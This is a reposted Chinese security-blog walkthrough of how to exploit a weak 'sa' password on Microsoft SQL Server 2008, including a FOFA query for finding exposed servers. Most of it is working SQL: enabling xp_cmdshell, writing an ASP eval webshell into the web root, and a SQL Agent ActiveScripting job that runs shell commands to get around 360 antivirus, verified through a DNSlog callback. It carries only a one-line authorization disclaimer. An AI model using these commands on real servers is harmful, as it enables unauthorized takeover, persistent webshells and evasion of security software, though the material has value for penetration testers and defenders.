-MSSQL 2008弱口令利用

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现-MSSQL 2008弱口令利用

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。

图片[1]--MSSQL 2008弱口令利用-安全小天地

0x03 漏洞复现

漏洞环境:Microsoft SQL Server 2008 (RTM) – 10.0.1600.22 (X64) 

FOFA: “sqlserver”

1.通过弱口令sa:123456进入数据库,查看数据库版本

select @@version
图片[2]--MSSQL 2008弱口令利用-安全小天地

2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:\\inetpub\\wwwroot

execute master..xp_dirtree \'c:\\\',1,1 --
图片[3]--MSSQL 2008弱口令利用-安全小天地

3.通过xp_cmdshell,写入webshell成功,如下(xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,但是如果有360一般不能执行


-- 查询是否存在xp_cmdshell
     select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\'        
     -- 启用xp_cmdshell
     EXEC sp_configure \'show advanced options\', 1;
     RECONFIGURE;
     EXEC sp_configure \'xp_cmdshell\', 1;
     RECONFIGURE;        
     -- 执行命令
     EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'--
     # 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
图片[4]--MSSQL 2008弱口令利用-安全小天地

4.由于会被360拦截,我们换一种方式

图片[5]--MSSQL 2008弱口令利用-安全小天地

5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:

(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)


#注:vb_job16会有缓存,需批量替换修改成任意名字
USE msdb; 
        EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ; 
        EXEC sp_add_jobstep 
            @job_name = N\'vb_job16\', 
            @step_name = N\'vb_step\', 
        @subsystem = N\'ACTIVESCRIPTING\',
        @command=N\'FUNCTION Main()
            dim shell
            set shell= CreateObject (\"WScript.Shell\")
            shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\")
            set shell = nothing
            END FUNCTION\', 
        @database_name = \"VBScript\",
            @retry_attempts = 1, 
            @retry_interval = 5;
        EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\'; 
        EXEC dbo.sp_start_job N\'vb_job16\';
图片[6]--MSSQL 2008弱口令利用-安全小天地
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容